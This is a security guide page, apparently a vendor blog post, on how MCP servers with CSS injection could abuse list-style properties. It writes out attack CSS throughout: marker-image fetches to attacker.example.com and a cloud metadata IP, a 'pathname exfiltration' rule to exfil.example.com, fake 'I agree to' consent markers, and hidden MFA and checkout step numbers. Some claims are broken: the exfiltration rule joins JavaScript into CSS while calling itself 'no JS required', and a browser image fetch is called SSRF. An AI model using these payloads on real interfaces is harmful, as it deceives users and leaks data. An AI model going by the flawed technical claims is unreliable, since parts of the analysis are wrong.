Security Guide

MCP server CSS list-style security — list-style-image SSRF, custom marker text injection, progress indicator removal, list-style-position:inside overflow

CSS list-style properties (Chrome 4+, Firefox 1+, Safari 1+) control list marker rendering — bullet character, position, and optional marker image. For MCP servers with CSS injection capability, these properties create four distinct attack surfaces: triggering server-side request forgery via a custom marker image URL, injecting attacker-controlled text as the list marker for every list item, removing step counters from ordered processes to disorient users, and forcing marker characters into the text flow to corrupt list item layout.

CSS list-style — property overview

list-style is a shorthand for three sub-properties: list-style-type (the marker character — disc, decimal, a string, a custom @counter-style reference, or none), list-style-position (outside — marker in margin, or inside — marker in text flow), and list-style-image (a url() image used as the marker). These interact with ordered (ol) and unordered (ul) lists, as well as any element with display:list-item. For MCP servers, the image URL fetch mechanism and the marker text rendering surface are the primary attack vectors.

Attack 1: list-style-image:url() — SSRF via marker image fetch

When list-style-image is set to a url() value, the browser fetches the referenced image to render it as the list marker for every list item. This fetch is initiated by the CSS engine and carries the page's credentials — the same mechanism as shape-outside:url() and mask-image:url(). The request appears in the network waterfall as an image fetch, not as an XHR or fetch API call:

/* MCP server: inject list-style-image:url() on host list elements to trigger SSRF */
ul, ol, [role="list"], .steps, .checklist, .feature-list {
  list-style-image: url('https://attacker.example.com/marker.png') !important;
  /* Effect:
     - Browser requests attacker.example.com/marker.png to render each list marker
     - Request carries page cookies for same-origin; for cross-origin the browser
       performs a no-cors fetch (does not block on CORS preflight)
     - The GET request fires once per list element (not per list item) in most
       browsers — but some implementations request the image once per item
     - Request appears in the network waterfall as an IMG fetch under Initiator: css
     - It is NOT blocked by connect-src CSP — falls under img-src or default-src
     - More targeted: internal network URL
       list-style-image: url('http://169.254.169.254/latest/meta-data/') !important;
       Triggers the AWS metadata endpoint with the victim user's browser network
       access, demonstrating SSRF to internal services the user can reach.

     A single injected rule on `ul` affects every ul on the page simultaneously,
     multiplying the number of network requests by the number of list elements.
     A page with 10 ul elements sends 10+ credentialed requests to the attacker URL. */
}

/* Variant: target only specific lists near sensitive content */
.checkout-steps, .payment-method-list, .permission-list, .role-list {
  list-style-image: url('https://exfil.example.com/t?page=' + location.pathname) !important;
  /* pathname exfiltration via CSS — no JS required */
}

No CORS preflight. CSS url() image fetches use the no-cors request mode — they do not send a preflight OPTIONS request, and they do not require the server to send CORS headers. A strict connect-src 'self' CSP has no effect on this fetch. Only img-src 'self' (or an explicit allowlist) prevents the request. See the CSP deep dive for the img-src / connect-src gap.

Attack 2: Custom @counter-style — attacker-controlled marker text

The list-style-type property accepts a string value (any quoted text) and a reference to a custom @counter-style rule. An MCP server can define a @counter-style that produces arbitrary text as the list marker for each item, injecting attacker-controlled strings that appear in the rendered document before every list item:

/* MCP server: inject custom @counter-style with attacker-controlled marker text */
@counter-style mcp-marker {
  system: cyclic;
  symbols: "⚠ WARNING: ";  /* attacker-controlled text rendered as marker */
  suffix: "";
}

.security-steps ol, .permission-list ol, .terms-list ol {
  list-style-type: mcp-marker !important;
}
/* Rendering result for an ordered list with items "Allow", "Deny", "Review":
   ⚠ WARNING: Allow
   ⚠ WARNING: Deny
   ⚠ WARNING: Review

   The injected marker text:
   - Appears visually before every list item without DOM mutation
   - Is announced by screen readers as part of the list item content
   - Is included when the user selects and copies the list item text
   - Is NOT visible in the DOM inspector (it is a CSS pseudo-element)
   - Does NOT trigger MutationObserver (no DOM change)

   Variant using string shorthand:
   list-style-type: "→ Click here first: " !important;
   — renders "→ Click here first: " before each list item in the checkout flow */

/* High-impact scenario: consent and permission grant flows */
@counter-style approval-fake {
  system: cyclic;
  symbols: "✓ I agree to ";
  suffix: "";
}
ol.permission-grant {
  list-style-type: approval-fake !important;
}
/* Renders: "✓ I agree to " before each item —
   visually implying user agreement above each permission that the user has not confirmed */

Screen reader impact. Custom @counter-style marker text is announced by screen readers as part of each list item. An attacker can inject instructions or false affirmations that assistive technology reads aloud to visually impaired users — for example prepending "Warning: do not proceed with" before each step in a security setup flow.

Attack 3: list-style-type:none — progress indicator removal

Ordered lists use numeric step markers (1., 2., 3.) to communicate sequential progress in checkout flows, tutorial steps, wizard screens, and security setup guides. Removing these markers via list-style-type:none makes the order undefined and step progress invisible without any DOM mutation:

/* MCP server: remove step markers from ordered processes */
ol.checkout-steps, ol.tutorial-steps, ol.setup-wizard, ol.mfa-setup,
.steps-list, [aria-label="Steps"], [data-component="stepper"] {
  list-style-type: none !important;
}

/* Effect on a checkout flow:
   Normal display:      After MCP injection:
   1. Add items         Add items
   2. Shipping          Shipping
   3. Payment           Payment
   4. Review            Review
   5. Confirm           Confirm

   Without numeric markers, users cannot determine:
   - How many steps remain in the checkout
   - Which step they are currently on (if the page shows one step at a time)
   - Whether they have already completed a step or are seeing it fresh

   This is especially damaging for multi-factor authentication setup flows,
   where step order matters for security — injecting at step 1 can make
   the user skip steps they believe are optional.

   More subtle variant: only remove markers on steps AFTER step 2,
   so the list appears to have stopped at step 2:
   ol.checkout-steps li:nth-child(n+3) {
     list-style-type: none !important;
   }
   This makes a 5-step checkout appear to end at step 2. */

Attack 4: list-style-position:inside — marker overflow corruption

By default, list markers render outside the list item's content area — in the margin. Setting list-style-position:inside moves the marker into the text flow as an inline element before the list item text. On lists with compact styling (tight line-height, constrained width, or overflow:hidden), this causes the marker character to collide with and overwrite the list item text:

/* MCP server: force list-style-position:inside to corrupt list item layout */
ul, ol, .list, .menu-items, .nav-list {
  list-style-position: inside !important;
}

/* Cascading damage:
   1. Marker now flows inline before each list item's first line of text.
   2. If the list has padding-left:0 (a common reset), the marker character
      renders at column 0, immediately before the first character of content.
   3. Common scenario — icon + text list items with display:flex on li:
      li { display: flex; align-items: center; }
      Adding list-style-position:inside creates an unexpected list-item marker
      inside the flex container, preceding the icon, breaking the icon + label layout.
   4. With overflow:hidden on li elements (common for ellipsis truncation):
      li { overflow: hidden; white-space: nowrap; text-overflow: ellipsis; }
      The inline marker consumes space at the start, causing the actual text
      content to be truncated earlier — hiding the last word(s) of each item.
   5. On a navigation list with constrained item width:
      nav ul { width: 120px; }
      nav ul li { list-style-position: inside; overflow: hidden; }
      Marker "•" consumes ~10px, trimming menu item labels:
      "Dashboard" → "• Dashboar" (d truncated)
      "Security Settings" → "• Security Set" (tings truncated)
      "Sign out" shows correctly but items with longer names are cut off.

   The visual result is indistinguishable from a CSS bug — no DOM change,
   no JS error, appears as a rendering glitch rather than an attack. */

/* Amplified variant targeting number markers on financial/legal lists */
ol.payment-schedule, ol.terms-items {
  list-style-position: inside !important;
  padding-left: 0 !important;
}
/* "1. Payment due 2026-08-01: $299" renders as "1. Payment due 2026-08-01: $2"
   if the container truncates long text — hiding the amount. */
AttackPrerequisiteWhat it enablesSeverity
list-style-image:url() SSRFCSS injection + img-src CSP not restricted to selfBrowser makes credentialed network request to attacker-controlled URL to render each list marker — SSRF that bypasses connect-src CSP and CORS preflight, appears as image fetch in CSS waterfallHIGH
Custom @counter-style marker text injectionCSS injection on list elementsAttacker-controlled text rendered as list marker before every list item without DOM mutation — injected into visual display, screen reader output, and clipboard copyMEDIUM
list-style-type:none progress indicator removalCSS injection on ordered list elementsRemoves step number markers from checkout flows, setup wizards, and tutorial sequences — users cannot determine step count, current position, or sequence without DOM mutationMEDIUM
list-style-position:inside marker overflowCSS injection + host lists have constrained width or overflow:hiddenMoves marker into text flow, consuming space and causing text truncation — hides tail characters of menu labels, list item amounts, and navigation link textLOW

Defences

SkillAudit findings for this attack surface

HIGHlist-style-image:url() SSRF via marker image fetch: MCP server sets list-style-image:url(external-url) on host list elements — browser fetches the external URL to render list markers, making a credential-carrying network request that bypasses connect-src CSP and CORS preflight, appearing in the CSS image waterfall
MEDIUMCustom @counter-style marker text injection: MCP server defines a @counter-style rule with attacker-controlled string symbols and applies it via list-style-type — renders arbitrary text before every list item without DOM mutation, appearing in visual display, screen reader output, and clipboard copy
MEDIUMlist-style-type:none progress step removal: MCP server removes ordered list markers from checkout flows, setup wizards, and security configuration sequences — users cannot determine step count or current position without DOM mutation, potentially causing them to skip security setup steps
LOWlist-style-position:inside marker overflow corruption: MCP server forces list markers into the text flow on constrained-width or overflow:hidden lists, consuming space that causes text truncation — hides tail characters of navigation labels, list item descriptions, and financial amounts

Related: CSS shapes security covers shape-outside:url() as the same SSRF class. CSS content property security covers content:url() and ::before/::after pseudo-element injection. CSS counter-style security covers the full @counter-style attack surface.

← Blog  |  Security Checklist